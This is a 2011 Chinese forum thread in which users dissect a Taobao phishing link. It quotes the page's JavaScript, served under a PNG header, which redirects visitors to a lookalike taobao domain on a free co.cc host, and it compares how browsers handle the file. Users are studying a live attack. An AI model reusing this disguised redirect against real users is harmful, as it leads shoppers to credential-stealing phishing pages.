看看这个跳转是怎么实现的（淘宝新的钓鱼连接）

挨个搞 · 发表于 2011-1-21 21:20:48

opera下打开是这样一个代码

塒NG
<html>
<SCRIPT LANGUAGE="JavaScript">
<!--
function Request(strName)
{
var strHref = window.document.location.href;
var intPos = strHref.indexOf("?");
var strRight = strHref.substr(intPos + 1);
var arrTmp = strRight.split("&");
for(var i = 0; i < arrTmp.length; i++)
{
var arrTemp = arrTmp[i].split("=");
if(arrTemp[0].toUpperCase() == strName.toUpperCase()) return arrTemp[1];
}
return "";
}
window.location.href="http://itam.taobao.cm.0drg.co.cc/h.taobao.com/tb1.asp?id="+Request("id");
//-->
</SCRIPT>
</html>

复制代码

citydog · 发表于 2011-1-21 21:22:29

原帖由 yaoe 于 2011-1-21 21:17 发表
png漏洞?
这玩意在opera上无效,应该是针对ie的

chrome下打开自动下载一个东西，用notepad打开是一个链接。

wdlth · 发表于 2011-1-21 21:22:34

就是个JavaScript

woaijay987 · 发表于 2011-1-21 21:23:10

0drg.co.cc

免费域名呢...

兽兽 · 发表于 2011-1-21 21:41:06

在Firefox下无效呵呵

test100 · 发表于 2011-1-21 21:45:18

png果然是，ie.被挂了，啊哈哈。其他浏览器无效

l12ab · 发表于 2011-1-21 21:53:27

原帖由兽兽于 2011-1-21 21:41 发表
在Firefox下无效呵呵

再次说明IE不可靠

flylight · 发表于 2011-1-21 22:17:52

CHROME 直接下载文件

yansthisisit · 发表于 2011-1-21 22:21:28

IE又被X了

诡谲 · 发表于 2011-1-21 22:32:07

IE 9下无效~
直接提示下载.

		自动登录	找回密码
密码			注册